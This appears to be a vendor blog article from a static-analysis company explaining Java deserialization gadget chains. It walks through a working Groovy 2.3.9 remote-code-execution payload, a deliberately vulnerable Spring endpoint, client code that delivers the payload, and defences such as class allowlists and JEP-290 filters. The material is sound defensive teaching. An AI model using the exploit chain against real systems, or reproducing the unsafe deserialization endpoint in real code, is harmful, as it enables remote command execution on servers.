Our website uses cookies to enhance your browsing experience.
Accept
to the top
>
>
>
Gadget chains in Java: how unsafe...

Gadget chains in Java: how unsafe deserialization leads to RCE?

Oct 09 2025

In this article, we'll explain what gadget chains are and look at examples (with schemas) of how careless deserialization with native Java mechanisms can lead to remote code execution.

Intro

First, I'd like to briefly describe how I learned about the concept of a gadget chain attack.

I'm a part of the Java team at PVS-Studio, where one of our key responsibilities is developing new diagnostic rules. When we consider adding a new rule, we spend a lot of time on theoretical research. It's necessary to thoroughly study problems that diagnostic rules must detect.

At the time of writing, we supplemented the Java analyzer with SAST warnings; they were inspired by different sources, including the OWASP Top Ten 2021. Within the A08 — Software and Data Integrity Failures category, we drew our attention to CWE-502 Deserialization of Untrusted Data.

The Common Weakness Enumeration (CWE) is a community-supported system for classifying security flaws. The CWE serves as a common language for describing and then averting security flaws in software and hardware.

Learn more about the CWE in the terminology base.

The CWE highlights risks that can arise from deserializing unsafe data. One of them is a gadget chain, an attack that allows RCE against the target.

After digging into its research, I realized that it was an interesting topic to talk about. However, for clarity, we need to understand the basics of Java serialization. Help on this topic can be found in the relevant documentation and articles (including mine).

Well, let's go.

What kind of attack is this?

A gadget chain is a sequence of method calls that leads to the execution of an attacker-controlled exploit. In the context of deserialization, this refers to the creation of one or more vulnerable and deserializable objects with unsafe internal configurations. When such an object is created or used, its unsafe internal configuration helps attackers to deliver on a plan.

If we break down the definition into parts, then:

  • A gadget is a deserializable object whose internal properties and methods are used to reproduce an exploit.
  • A chain is a sequence of method calls that traverses one or more gadget objects.

The definitions are accurate but rather abstract. We'll better understand the essence of unsafe internal configuration and method call chains when we see examples. So, let's look at a chain of gadgets that leads to RCE.

Like any vulnerability, a gadget chain requires certain preconditions. For our scenario, they're as follows:

  • Applications insecurely deserialize external data using native Java mechanisms.
  • The project's classpath contains vulnerable classes. The source of their vulnerability will become clear later. It's important to understand that they may not only be custom, but can also be pulled in via dependencies. This is the most common scenario.

If you're new to the topic, the situation may seem overwhelming to you, like "there's too much theory, not enough clarity." Don't worry, examples come to help and eliminate the misunderstanding.

Et tu, Groovy?

First, define the preconditions.

We reproduced the issue on Java 8, as it was the easiest way.

We used Groovy 2.3.9 as a dependency with vulnerable classes in the classpath. Yeah, other libraries can be exploited too, but in my humble opinion, this example is both easy to follow and illustrative.

Now, let's take a look at deserializing unreliable data. Here, we can see the server-side code:

@RestController
public class ExampleController {

  @PostMapping("/deserialize")
  public ResponseEntity<String> getHandle(
    @RequestParam("data") String encodedData
  ) {
    byte[] data = java.util.Base64.getDecoder()
                                  .decode(encodedData);

    try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
         ObjectInputStream ois = new ObjectInputStream(bais)) {

      Object obj = ois.readObject();
      ....
    }
  }
  ....
}

The simple controller accepts a string, decodes it into bytes, and deserializes those bytes—this describes the server under attack.

On the attacker's side, we need to construct an object that, once serialized and sent to the server, will trigger RCE. Creating that object looks like this:

public static InvocationHandler generatePayload(
  String command
) .... {
  InvocationHandler clsHandler = new ConvertedClosure(
    new MethodClosure(command, "execute"), 
    "entrySet"
  );
  Map<?, ?> proxiedmap = (Map<?, ?>) 
                          Proxy.newProxyInstance(
                              ConcurrentHashMap.class.getClassLoader(), 
                              new Class [] {Map.class}, 
                              clsHandler
                          );

  String 
    annObjectName = "sun.reflect.annotation.AnnotationInvocationHandler";
  Constructor<?> const = Class.forName(annObjectName)
                              .getDeclaredConstructors()[0];
  const.setAccessible(true);

  return (InvocationHandler) const.newInstance(
    Override.class, 
    proxiedmap
  );
}

The code may seem not so trivial, but let's explore it.

Here's the first line of the method:

InvocationHandler clsHandler = new ConvertedClosure(                          
  new MethodClosure(command, "execute"), 
  "entrySet"
);

We create ConvertedClosure, where we place MethodClosure.

Where do these come from? They're classes from the added Groovy 2.3.9 dependency.

  • MethodClosure is a Groovy object representing a special instance of Groovy closures. What closures are is a separate topic. What interests us here is that the first parameter is the object on which the method is called, and the second parameter is the name of the method called on it. In Java, strings don't have the execute method. But in Groovy, they do. Such, calling the execute method on a string executes an OS command.
  • ConvertedClosure is a Groovy object that acts as an adapter, turning a closure to an implementation of the Java InvocationHandler interface. It's important that an object accepts the executable Closure as the first parameter, and the method name this Closure will intercept within the implemented interface as the second parameter.

In this case, we use ConvertedClosure as the Map implementation; that makes our MethodClosure be executed when entrySet is called.

Look at the second line:

Map<?, ?> proxiedmap = (Map<?, ?>) 
                          Proxy.newProxyInstance(
                              ConcurrentHashMap.class.getClassLoader(), 
                              new Class [] {Map.class}, 
                              clsHandler
                          );

We create a proxied instance of Map. Note that the third parameter in newProxyInstance is the clsHandler created in the first string.

In few words, it's an entity that intercepts method calls on a certain object and decides what to do with them (block them, perform an additional action, completely replace the logic, etc.). In Java, this is implemented at the language level via dynamic proxies.

You can learn more about the Proxy by briefing the corresponding pattern.

Well, let's sum up for now:

  • We created a special proxied Map instance.
  • The entrySet method has its implementation within the instance, represented by ConvertedClosure.
  • The implementation is the MethodClosure object that calls the passed string as an OS command.

Look at the scheme:

I hope now we have a better understanding of what's going on in these two lines.

All that remains is to call the entrySet method on the created Map in the target system. The good news is that we can do it! How?

Take a peek at the remaining lines:

String annObjectName = "sun.reflect.annotation.AnnotationInvocationHandler";
Constructor<?> const = Class.forName(annObjectName)
                            .getDeclaredConstructors()[0];
const.setAccessible(true);

return (InvocationHandler) const.newInstance(
  Override.class, 
  proxiedmap
);

We obtain the constructor for the AnnotationInvocationHandler class, make it accessible, and create an instance. We pass the annotation class and our proxied Map to the constructor. How will this help trigger the entrySet method call during deserialization?

Let's take a look inside AnnotationInvocationHandler:

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  private final Map<String, Object> memberValues;
  
  AnnotationInvocationHandler(Class<? extends Annotation> type, 
                              Map<String, Object> memberValues) {
    ....
    this.type = type;
    this.memberValues = memberValues;
  }

  private void readObject(java.io.ObjectInputStream s) .... {
    ObjectInputStream.GetField fields = s.readFields();

    @SuppressWarnings("unchecked")
    Class<? extends Annotation> t = (Class<? extends Annotation>)
                                      fields.get("type", null);
    @SuppressWarnings("unchecked")
    Map<String, Object> streamVals = (Map<String, Object>)
                                      fields.get("memberValues", null);
    ....
    for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
      ....
    }
    ....
  }
}

This is a summary of everything we need to know. We're interested in the following points here:

  • The AnnotationInvocationHandler class supports serialization.
  • Using its constructor, unlocked by reflection, we create an object and write the proxied Map to the memberValues field.
  • When AnnotationInvocationHandler arrives at the server for deserialization, the memberValues field is restored from the byte stream in the readObject method, and the entrySet method is called on it.

Does it mean that when deserializing the AnnotationInvocationHandler instance on the server, the entrySet method will be automatically called to the Map? Yes.

Our exploit is ready. On the client side, we've serialized the object produced by generatePayload and sent it to the server:

String data = new String(
  Base64.getEncoder().encode(serialize(generatePayload("notepad.exe"))), 
  StandardCharsets.UTF_8
);
....
form.add("data", data);
HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<>(
                                                          form, 
                                                          headers
                                                        );
....
String response = rest.postForObject(url, request, String.class);

Here's a schematic representation of the gadget chain:

This is exactly what happens on the server when serialized data arrives. Boom, and we open the notepad on the server!

What makes these classes vulnerable?

I'd like to summarize everything here. What made the exploit possible?

  • MethodClosure is a Groovy serializable class that enables the execution of OS commands.
  • ConvertedClosure is a Groovy serializable class. First, it executes the passed MethodClosure; second, it allows us to create a proxied instance of any Java interface.
  • AnnotationInvocationHandler is a Java serializable class, which accesses the vulnerable object in readObject.
  • And, of course, server-side deserialization of untrusted data can make classes vulnerable.

By creating an "onion" out of them, we reproduced RCE.

In other words, the option to build such an "onion" is the core issue. When the readObject method accesses an object, and that object accesses another one, and so on, we should ensure that none of these "onions" can lead to the exploit.

Where's the example from?

The problem with exploiting native Java serialization weaknesses is not new. Various enthusiasts have compiled a set of "useful payloads" that exploit gadget chains within various popular libraries (in certain versions) and created the ysoserial utility, which generates such objects in a serialized form. It's super handy for getting familiar with a topic and for testing whether an application is vulnerable—of course, with the author's permission; exploiting such things without the creator's consent is illegal and unethical.

The example above is taken from there (and slightly adapted).

If you find this topic interesting, I recommend reading more about it. For reference, the utility contains payloads based on at least the following libraries in specific versions:

  • AspectJWeaver;
  • Apache CommonsCollections (1–7);
  • Groovy1;
  • Hibernate (1–2).

How to prevent it?

As I mentioned above, the problem has been known for quite some time, so ways to avoid it exist. It's no coincidence that issues are currently exploited only on certain versions of libraries and Java. Both the creators of specific libraries and Java developers have been breaking existing gadget chains in new releases and blocking the creation of new ones.

For example, the discussed exploit works on versions Java 8 and 11, but on version 17, it's already facing challenges without additional manipulation of the settings. Java restricts the object creation that can occur in gadget chains. If we consider Groovy, this exploit stops working from version 2.4.4 due to restrictions on the MethodClosure deserialization.

In general, the answer to the question, "How can this be prevented?" in the context of gadget chains will be quite complex:

  • Avoid using native Java serialization whenever possible. Serialization is often used to transfer DTO objects—in such cases, it's simpler and more convenient to send data in .json format.
  • Apply filters if native Java serialization is unavoidable. Before restoring an object, check whether its class is allowed to be deserialized. After listing all the options, I'll show what it might look like.
  • Ensure that the class used for deserialization doesn't contain any potentially dangerous logic that could be abused to reproduce an exploit. Even if you don't use vulnerable libraries, it's very important to understand the essence of the vulnerability so that you don't create a vulnerable library yourself.
  • Remove unused dependencies. It'd be sad if they unexpectedly reproduced gadget chains or other dependencies.
  • Use more up-to-date and secure dependency versions. In the example, it's sufficient to upgrade to the latest version. This will prevent the exploit.
  • Perform comprehensive testing. In our case, for a production application, both dynamic and static analysis can help. Dynamic analysis can catch the vulnerability during penetration testing. Next, I'll say a few words about static analysis.

Static analysis and filters

As I mentioned above, before restoring an object, we should check whether it's on the list of objects that can be deserialized. What might that look like?

By default, ObjectInputStream handles deserialization. It has the resolveClass method to load a class by its name based on the incoming data stream. Of course, this method is called before the object's state starts restoring.

That's when we come in. Inheriting from ObjectInputStream and checking which class is being deserialized in the resolveClass method is enough... This is what it might look like:

public class ObjectInputStreamWithClassCheck extends ObjectInputStream {
  public final static List<String> ALLOWED_CLASSES = Arrays.asList(
        User.class.getName()
  );

  public ObjectInputStreamWithClassCheck(InputStream in) throws .... {
    super(in);
  }

  @Override
  protected Class<?> resolveClass(ObjectStreamClass desc) throws .... {
    if (!ALLOWED_CLASSES.contains(desc.getName())) {
      throw new NotSerializableException(
                   "Class is not available for deserialization");
    }

    return super.resolveClass(desc);
  }
}

In this case, if we receive an unintended object, we'll get a NotSerializableException before the object is restored. Otherwise, the object is deserialized. For example:

public static Object deserialize(ObjectInputStream taintData) throws .... {
  ObjectInputStream ois = new ObjectInputStreamWithClassCheck(taintData);
  Object obj = ois.readObject();
  ois.close();
  return obj;
}

In this example, if something other than a User object is deserialized, we'll get an exception. So, if we're sure that the restored object doesn't trigger chains of gadgets, this approach may be good for us.

Starting with Java 9, such filters are a part of the language. If you're interested in the topic, you can read JEP-290, which introduced this innovation to the language.

The subtitle says about the use of a static analyzer. Does it know how to detect such things? Yes and no.

It can't detect whether it's possible to reproduce the vulnerability in particular code. However, a static analyzer may suggest that external data is used for deserialization and that no filtering occurs at the InputStream level. For example, the Java analyzer has the V5333 diagnostic rule that helps find such cases.

What does it look like?

@RestController
public class ExampleController {

  @PostMapping("/deserialize")
  public ResponseEntity<String> getHandle(@RequestParam("data") 
                                          String encodedData) {
    byte[] data = java.util.Base64.getDecoder()
                                  .decode(encodedData);

    try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
         ObjectInputStream ois = new ObjectInputStream(bais)) {

      Object obj = ois.readObject();
      ....
    }
  }
  ....
}

The PVS-Studio warning: V5333 Possible insecure deserialization vulnerability. Potentially tainted data in the 'bais' variable is used to deserialize an object. ExampleController.java

PVS-Studio analyzer detects that data for deserialization came from an external source and reached the request controller. After that, the data is deserialized using ObjectInputStream. If, instead of ObjectInputStream, we use a class with type checking during deserialization (for example, the ObjectInputStreamWithClassCheck), the warning won't be issued, as it'll be possible to avoid the chains of gadgets issue—provided, of course, that the whitelist has been compiled correctly.

While we're discussing secure deserialization, I can't help but mention the OWASP Cheat Sheet, a collection of practical tips for avoiding issues with various vulnerabilities. The list is quite extensive, and it also includes some tips on deserialization—there's also a separate topic on Java. I highly recommend reading it.

Goodbye!

We've discussed one of the vulnerabilities caused by the unsafe use of native deserialization in Java. The main takeaway is simple: be very careful with external data.

Careless handling of inputs from external sources may result in extremely unpleasant consequences. To prevent them, it's important to understand the context of working with such data and adhere to the concept of comprehensive testing during the development process.

By the way, I also talked about running the notepad in this article. Here, we've discussed what OS Command Injection is and shown the new diagnostic rule of the Java analyzer.

That's all! If you want to share your opinion, we'll wait for you in the comments.

If you've never used any static analyzer for your product, or if you're looking for one, you can try PVS-Studio here. The analyzer works with C, C++, C#, and, as you may have noticed, Java.

See ya soon!

Posts: articles

Poll:

Subscribe
and get the e-book
for free!

book terrible tips


Comments (0)

Next comments next comments
close comment form